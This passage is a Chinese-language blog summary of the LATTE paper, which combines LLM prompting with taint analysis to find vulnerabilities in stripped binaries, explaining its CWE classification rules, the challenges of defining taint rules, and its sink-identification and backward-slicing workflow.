&lt;p&gt;&lt;em&gt;&lt;strong&gt;LATTE.&lt;/strong&gt;&lt;/em&gt;    &lt;strong&gt;L&lt;/strong&gt;LM-Powered Bin&lt;strong&gt;a&lt;/strong&gt;ry &lt;strong&gt;T&lt;/strong&gt;ain&lt;strong&gt;t&lt;/strong&gt; Analyz&lt;strong&gt;e&lt;/strong&gt;r, 是首个将污点分析和LLMs结合的技术, 文章指明其核心通过代码切片构建Prompt序列, 整体流程大致如下:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250905215012232&quot; width=&quot;2880&quot; height=&quot;742&quot; src=&quot;https://sh10rl.top/_astro/image-20250905215012232.ncQ-APea_Z3AU2d.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;研究人员使用来自Juliet Test Suite的数据集 (含有污点式漏洞的二进制文件, 去符号) 进行测试, 在准确率和F1分数上都表现很好, 准确率 (Accuracy) 和 F1 二者互补&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot; id=&quot;user-content-fnref-1&quot; aria-describedby=&quot;footnote-label&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;, 前者关注总体正确率; 后者只关注正类 (实际为正, 检测也为正) 的检测质量; 计算公式分别为:&lt;/p&gt;
&lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot; display=&quot;block&quot;&gt;&lt;semantics&gt;&lt;mtable rowspacing=&quot;0.25em&quot; columnalign=&quot;center&quot; columnspacing=&quot;0em&quot;&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;mi&gt;A&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;u&lt;/mi&gt;&lt;mi&gt;r&lt;/mi&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;y&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mi&gt;T&lt;/mi&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;T&lt;/mi&gt;&lt;mi&gt;N&lt;/mi&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;mi&gt;T&lt;/mi&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;T&lt;/mi&gt;&lt;mi&gt;N&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mi&gt;N&lt;/mi&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;/mtr&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mi&gt;r&lt;/mi&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mi&gt;s&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mi&gt;o&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mi&gt;T&lt;/mi&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;mi&gt;T&lt;/mi&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;/mtr&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;mi&gt;R&lt;/mi&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mi&gt;l&lt;/mi&gt;&lt;mi&gt;l&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mi&gt;T&lt;/mi&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;mi&gt;T&lt;/mi&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mi&gt;N&lt;/mi&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;/mtr&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;mo&gt;⋅&lt;/mo&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mi&gt;r&lt;/mi&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mi&gt;s&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mi&gt;o&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mo&gt;⋅&lt;/mo&gt;&lt;mi&gt;R&lt;/mi&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mi&gt;l&lt;/mi&gt;&lt;mi&gt;l&lt;/mi&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mi&gt;r&lt;/mi&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mi&gt;s&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mi&gt;o&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;R&lt;/mi&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mi&gt;l&lt;/mi&gt;&lt;mi&gt;l&lt;/mi&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;/mtr&gt;&lt;/mtable&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;\begin{gather*}
Accuracy = \frac{TP+TN}{TP+TN+FP+FN} \\
Precision = \frac{TP}{TP+FP} \\
Recall = \frac{TP}{TP+FN} \\
F1 = \frac{2 \cdot Precision \cdot Recall}{Precision + Recall}
\end{gather*}&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;
&lt;p&gt;Precision高表示多抓到; Recall高表示少报错, 都只关注正类的检测质量; 其在测试项目中识别sinks和sources实现全中; 实战测试嵌入式设备固件发现10个新高危CVE, 比同类竞品更优. &lt;del&gt;(论文前面一段说自己发现了119个独特bugs, 后面又说发现了117个独特bugs, 好奇怪).&lt;/del&gt;&lt;/p&gt;
&lt;h2 id=&quot;background&quot;&gt;Background&lt;/h2&gt;
&lt;p&gt;污点分析可有效发现由外界输入引发的漏洞, 我们叫它污点式漏洞. 文章想要根据CWE (Common Weakness Enumeration) 对其进行统一分类. CWE是个树状关系, 用来表示不同抽象级别的弱点类型, 抽象级别从高到低大致为PCBV, 具体来说: pillar &gt; class &gt; basic &gt; variant. 举个例子:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250810191750639&quot; width=&quot;1518&quot; height=&quot;570&quot; src=&quot;https://sh10rl.top/_astro/image-20250810191750639.Cs2qjt8U_Z1yeu3Q.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;要想按照CWE对漏洞贴标签/分类, 那么漏洞归类到CWE的哪个抽象层级是个问题, 为了避免一个漏洞被贴上多个标签, 造成重复分类, 作者规定三条”只给一个最合适的标签”的分类方案:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;优先对齐CWE的基础层级 (basic), 次选变体层级 (variant), class粒度太大, variant粒度太细, basic 被设计为 &lt;em&gt;概念上&lt;/em&gt; 相互独立, 自然选它.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果一个漏洞同时属于两个base级别的CWE, 再具体的分类要基于漏洞触发点 (面向sinks), 不在乎污点数据源 (sources). 文章举了个例子: 如果有一个漏洞既可以归为 CWE-78, 也可以归为 CWE-76, 那就要这么看: 命令注入漏洞 (CWE-78) (&lt;strong&gt;sink&lt;/strong&gt;) 是由未检查的输入数据——等效特殊元素的错误中和 CWE-76 (&lt;strong&gt;source&lt;/strong&gt;) 造成, 那么该漏洞将会被归为CWE-78 (&lt;strong&gt;sink&lt;/strong&gt;), 而不是 CWE-76 (&lt;strong&gt;source&lt;/strong&gt;), 因为CWE-76 (source) 很泛, 同样造成重复分类.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;第一个被触发的漏洞优先, 如果一整数溢出漏洞 (CWE-190) 导致缓冲区溢出 (CWE-680), 那将这个漏洞分类到CWE-190.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;根据作者指定的分类规则, 下图展示了各大Analyzer支持检测的漏洞类型, LATTE技能点满:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250812120955830&quot; width=&quot;1233&quot; height=&quot;313&quot; src=&quot;https://sh10rl.top/_astro/image-20250812120955830.CZLITCVV_2bFhQe.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;污点引擎 (taint engine) 和污点规则 (taint rules) 是正交/解耦的, 意味着二者相互独立, 改变污点规则不会影响污点引擎, 反之亦然.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;污点引擎: 具体实现污点跟踪的引擎.&lt;/li&gt;
&lt;li&gt;污点规则: 让引擎识别污点, 及其传播, 清洗的规则集.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;作者从引擎和规则两个维度讲传统分析的难处:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;实现污点引擎分析二进制文件很麻烦, 因为二进制制文件通常缺少符号, 数据类型, 并且受不同编译器, 优化选项, 目标架构的影响大. 就算看反编译代码, 结构和语义都不清楚. 所以先前的技术只能做出特定的假设来实现污点引擎.&lt;/li&gt;
&lt;li&gt;尽管有人使用过函数抽象和机器学习的方法来指定新污点规则, 但想要减少漏洞分析和后期分析的工作量, source, sanitization, sink的规则必然更加复杂的难点仍然不易解决. 总而言之, 高准度要求高复杂度.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;LLMs在上游进行过大量广泛的数据训练, 要在下游使用LLMs去完成具体工作, 需要进行提示词工程或者微调, 二者任选其一. 比如 &lt;a href=&quot;https://cline.bot/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Cline&lt;/a&gt;, Curosr 用的就是提示词工程 (Agent 包括提示词工程, Agent ≈ Prompt + Tools + Iteration) 来完成编码的具体工作. 微调需要额外数据来训练模型, 费钱, 而且LLMs已经在大语料库上进行训练, 所以作者采用提示词工程的方式让LLMs具备执行具体任务的能力.&lt;/p&gt;
&lt;h2 id=&quot;motivation&quot;&gt;Motivation&lt;/h2&gt;
&lt;p&gt;显然, 源码漏洞分析工具的发展快于静态二进制文件分析工具, 因为反编译伪代码函数, 类, 变量名等信息都不全. SATC, FBI 使用人类专家和启发式算法来优化 Karonte 的规则, 降低了FN和FP, 但还是费时又费力, 为什么人工定义全面的污点传播规则和检查规则难? 文章下面列出了几个问题来让我们理解原因.&lt;/p&gt;
&lt;h3 id=&quot;problem-1-determining-taint-sources-and-initial-taint-labels&quot;&gt;Problem 1. Determining Taint Sources and Initial Taint Labels&lt;/h3&gt;
&lt;p&gt;识别污点源&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot; id=&quot;user-content-fnref-2&quot; aria-describedby=&quot;footnote-label&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;可不容易, 除了C标准库函数 (&lt;code&gt;recv&lt;/code&gt;, &lt;code&gt;fscanf&lt;/code&gt;, &lt;code&gt;fgets&lt;/code&gt;), 还有第三方函数 (&lt;code&gt;SLL_read&lt;/code&gt;, &lt;code&gt;BIO_read&lt;/code&gt;, &lt;code&gt;OpenSSL&lt;/code&gt;) 都能接收外部数据. 识别污点源之后就要给各种返回值和参数贴污点标签, 这就要有强大的语义理解能力, 例如下图的&lt;code&gt;fscanf&lt;/code&gt;. 你要理解它是干啥的, 这几个参数都啥意思, 才能知道第三个参数&lt;code&gt;&amp;#x26;a&lt;/code&gt;是携带外部环境的输入数据的, 这样才能贴上污点标签. 第三方函数的相关文档往往并不完善, 甚至没有, 贴污点标签很难.&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250812120935211&quot; width=&quot;1234&quot; height=&quot;732&quot; src=&quot;https://sh10rl.top/_astro/image-20250812120935211.DcdE8e5F_22R5L6.webp&quot;&gt;&lt;/figure&gt;
&lt;h3 id=&quot;problem-2-defining-rules-to-propagate-taint-labels&quot;&gt;Problem 2: Defining Rules to Propagate Taint Labels&lt;/h3&gt;
&lt;p&gt;污点标签的传播通过赋值 (&lt;code&gt;b = a&lt;/code&gt;), 计算 (&lt;code&gt;e = b + 1&lt;/code&gt;)等等, 分析数据依赖可以获得传播路径. 在传播过程中还存在净化 (Sanitization):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;当把安全数据赋值到污点数据所在内存区域时 (&lt;code&gt;a = 1&lt;/code&gt; line 5)进行净化.&lt;/li&gt;
&lt;li&gt;有关语义的复杂净化, 一般的净化规则会导致污点标签在 line 10 处的传播终止, 没有考虑后续 line 17 的整数溢出.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;problem-3-formulating-inspection-rules-for-various-sinks-and-vulnerabilities&quot;&gt;Problem 3: Formulating Inspection Rules for Various Sinks and Vulnerabilities&lt;/h3&gt;
&lt;p&gt;首先需要识别sinks, 根据潜在的CWE制定检查规则, 比如 line 9 的printf是个sink, 它可能触发&lt;a href=&quot;https://cwe.mitre.org/data/definitions/134.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;CWE-134&lt;/a&gt;或者&lt;a href=&quot;https://cwe.mitre.org/data/definitions/190.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;CWE-190&lt;/a&gt;; 要看能不能触发CWE-134, 检查规则就要检查第一个参数(在这里是&lt;code&gt;%d&lt;/code&gt;)是否被污染; 要看能不能触发CWE-190, 检查规则就要基于第一个参数看第二个&lt;code&gt;(ulong)e&lt;/code&gt;是否被污染. 这只是一个简单的例子, 实际人工来做出准确全面的规则是很大的工作量.&lt;/p&gt;
&lt;h3 id=&quot;advantages-of-llms-in-vulnerability-inspection&quot;&gt;Advantages of LLMs in Vulnerability Inspection&lt;/h3&gt;
&lt;p&gt;LLMs能像人一样进行语义理解, 作者用一个Prompt模板直观地展示了这一点:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250812120445110&quot; width=&quot;1435&quot; height=&quot;153&quot; src=&quot;https://sh10rl.top/_astro/image-20250812120445110.BZBHNY21_Z10xeNM.webp&quot;&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250812120907452&quot; width=&quot;1773&quot; height=&quot;467&quot; src=&quot;https://sh10rl.top/_astro/image-20250812120907452.DJibwtaM_Z1fSDLT.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Code Snippet without Vulnerabilities.&lt;/strong&gt;&lt;/em&gt;    Fig. 3 没有漏洞, GPT-4正确给出了分析结果:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250812121139088&quot; width=&quot;1227&quot; height=&quot;197&quot; src=&quot;https://sh10rl.top/_astro/image-20250812121139088.Cxh_UiEt_1BejkQ.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Vulnerable Code Snippet with &lt;code&gt;fgets&lt;/code&gt;.&lt;/strong&gt;&lt;/em&gt;    Fig. 4 有缓冲区溢出漏洞:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250812121749046&quot; width=&quot;1225&quot; height=&quot;545&quot; src=&quot;https://sh10rl.top/_astro/image-20250812121749046.CcGYDDD2_ZvMO6E.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Vulnerable Code Snippet with &lt;code&gt;recv&lt;/code&gt;.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250812121916535&quot; width=&quot;1206&quot; height=&quot;186&quot; src=&quot;https://sh10rl.top/_astro/image-20250812121916535.CKT19g8X_Z1GDCcJ.webp&quot;&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250812122010566&quot; width=&quot;1215&quot; height=&quot;400&quot; src=&quot;https://sh10rl.top/_astro/image-20250812122010566.D8rEmt8j_fw2Vo.webp&quot;&gt;&lt;/figure&gt;
&lt;h2 id=&quot;overview-of-latte&quot;&gt;Overview of LATTE&lt;/h2&gt;
&lt;p&gt;如何构建有效的Prompt来指示LLMs进行漏洞检查, 这里有两个挑战:&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Challenge 1: Large Code Size and Complexity vs. Limited Token Context of LLMs.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;—Solution to Challenge 1.&lt;/strong&gt;&lt;/em&gt;    生成危险流 (Dangerous Flows/DF = 函数切片 + 数据依赖) 压缩上下文.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Challenge 2: Obscurity of Vulnerability Discovery vs. Generality of Instructions for LLMs.&lt;/strong&gt;&lt;/em&gt;    漏洞发现天生就带有探索性质, 把一大堆漏洞模式都塞进Prompt里面是不合实际的. 如果使用few-shot方式, 新型漏洞不一定长得像示例, 容易漏掉. 所以给LLMs的Prompt要有普遍性, 即使漏洞类型改变也可以进行检查.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;—Solution to Challenge 2.&lt;/strong&gt;&lt;/em&gt;    作者从人工审计中获得灵感, 人工审计会首先审计每个在危险流中的函数, 不会根据具体的漏洞示例进行分析. 我们先有可疑数据流 (包括DF), 然后一步步让LLMs去检查每个数据流中的单个函数, 即把大任务拆成小任务, 第一性原理. 具体方式是Prompt Sequence, 每一轮都有明确输入, 目标, 与输出格式, 上一轮的结果会作为下一轮的上下文.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;workflow-of-latte&quot;&gt;Workflow of LATTE&lt;/h3&gt;
&lt;p&gt;LATTE包括三个模块:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Preprocess&lt;/strong&gt;: 使用反汇编和反编译得到函数 + 代码结构.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Code slicing&lt;/strong&gt;: 从sink分析数据依赖, 倒着找出到达sink的函数调用链, 再找到source对上这些调用链, 得到DF.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prompt construction&lt;/strong&gt;: 取每条DF, 拆成正向提示序列 (source → … → sink), 一段函数一问, 这样可以减少上下文负担.&lt;/li&gt;
&lt;/ol&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250812142509712&quot; width=&quot;1455&quot; height=&quot;543&quot; src=&quot;https://sh10rl.top/_astro/image-20250812142509712.KP2kvLPl_1v6Mpx.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;下面对应以上三个模块来讲:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Phase 1: Function Call Chain Extraction.&lt;/strong&gt;&lt;/em&gt;    这个阶段, 首先利用LLMs识别危险程序点 (sinks), 即执行危险操作的外部函数和相关参数. 然后从sinks进行反向数据依赖性分析, 包括过程内 (intraprocedural) 和过程间 (interprocedural)分析, 得到一堆函数调用链:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250812144458874&quot; width=&quot;1441&quot; height=&quot;110&quot; src=&quot;https://sh10rl.top/_astro/image-20250812144458874.3BW-kwXb_LodlS.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Phase 2: Dangerous Flow Generation.&lt;/strong&gt;&lt;/em&gt;    每个函数调用链都会有一个”头”, 但这些”头”不一定都是接收污点数据的, 它只是回溯自某个 sink 得到的一条调用路径; 同时也会有多个数据接收点 (&lt;code&gt;recv&lt;/code&gt;, &lt;code&gt;fgets&lt;/code&gt;, &lt;code&gt;getenv&lt;/code&gt;)接收污点数据, 污点数据可能流入同一个sink.&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250812145732150&quot; width=&quot;1450&quot; height=&quot;174&quot; src=&quot;https://sh10rl.top/_astro/image-20250812145732150.C2WmpT-f_27KbUD.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;这里解释下定义, 在这条调用链 &lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;C&lt;/mi&gt;&lt;mi&gt;C&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;[&lt;/mo&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;mo&gt;…&lt;/mo&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;]&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;CC = [f1, f2, …, fn]&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt; 里, 起点函数 f1 的函数体中, 必须至少有一次对”污点源”API 的调用 (即把不可信外部数据读进来的地方, 如 &lt;code&gt;recv&lt;/code&gt;/&lt;code&gt;fgets&lt;/code&gt;/&lt;code&gt;getenv&lt;/code&gt;). 这样保证危险流从真实的外部输入开始. 若整条链上没有任何 source 调用, 则这条链不会成为危险流.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Phase 3: Prompt Sequence Construction.&lt;/strong&gt;&lt;/em&gt;    取每个危险流构造Prompt Sequence (函数粒度), 作者设计了三个Prompt模板:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Initiate a conversation&lt;/strong&gt;: 绑定危险流的第一个函数 f1, 分析函数体明确哪一个是污点源/输入起点, 要求做数据别名, 数据依赖与污点分析.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Function-by-function progression template&lt;/strong&gt;: 对危险流中的每个后续函数各问一轮, 递归构建用于数据流分析的Prompt, 一直干到末尾.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Final vulnerability analysis&lt;/strong&gt;: LLM进行漏洞判定.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;latte-design&quot;&gt;LATTE design&lt;/h2&gt;
&lt;p&gt;在使用Prompt Sequence让LLMs分析DF时 (&lt;strong&gt;phase 3.2&lt;/strong&gt;) 并没有像传统污点分析那样进行Sanitize和检查漏洞, 这两个步骤留在了 &lt;strong&gt;Phase 3.3&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;phase-1-function-call-chain-extraction&quot;&gt;Phase 1: Function Call Chain Extraction&lt;/h3&gt;
&lt;p&gt;该过程分两步, 识别sinks (i.e., Vulnerable Destinations, VD) 和反向切片.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Identification of Vulnerable Destinations&lt;/strong&gt;: 对于不同类型的函数, 有不同的处理方法, 作者分了三种:
&lt;ul&gt;
&lt;li&gt;Externally linked: 放进 &lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mrow&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mi&gt;r&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mi&gt;l&lt;/mi&gt;&lt;/mrow&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;F_{external}&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt; 列表.&lt;/li&gt;
&lt;li&gt;Dynamically linked: 动态链接会保留符号名, 直接把 &lt;em&gt;函数名&lt;/em&gt; 丢给LLM.&lt;/li&gt;
&lt;li&gt;Statically linked: 把 &lt;em&gt;函数名&lt;/em&gt; 换成 &lt;em&gt;函数体&lt;/em&gt; 丢给LLM让它分析是否是sink.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;现在开始利用LLM确定一个函数是否是sink—构建Prompt template = Analyst persona + one-shot + No additional explanation; 这里给出了一个例子:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250812221057767&quot; width=&quot;1606&quot; height=&quot;700&quot; src=&quot;https://sh10rl.top/_astro/image-20250812221057767.n2rvr4ZM_ZjRFiu.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;得到的&lt;code&gt;(𝑓; Para)&lt;/code&gt;会被存到一个名为 &lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;s&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mi&gt;k&lt;/mi&gt;&lt;mi&gt;s&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;sinks&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt; 集合内, 以便复用. 此分析只需要在&lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;s&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mi&gt;k&lt;/mi&gt;&lt;mi&gt;s&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;sinks&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;没记录该函数的时候执行.&lt;/p&gt;
&lt;p&gt;最后得到的是&lt;code&gt;(sink, Para)&lt;/code&gt;的集合, 比如 &lt;code&gt;{(printf; 1), (printf; 2), ...}&lt;/code&gt;. 由于函数间的调用关系复杂, 所以只记录了函数信息, 没有调用点信息. 确定sinks之后还要一步, 即对整个二进制文件遍历得到调用点, 形成VD列表, 比如Fig. 2 的VD列表为: &lt;code&gt;{(9; printf; e), (15; printf; c), (18;printf; d)}&lt;/code&gt;.&lt;/p&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;&lt;strong&gt;Backward Slicing&lt;/strong&gt;: 取VD列表内的每个三元组在函数调用图&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot; id=&quot;user-content-fnref-3&quot; aria-describedby=&quot;footnote-label&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;上 &lt;em&gt;根据数据流&lt;/em&gt; 进行反向深度优先遍历, 得到函数调用链 (Call Chains, CCs). 咱们首先看VD所在的函数, 姑且将它命名为 &lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;f&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt; 吧. 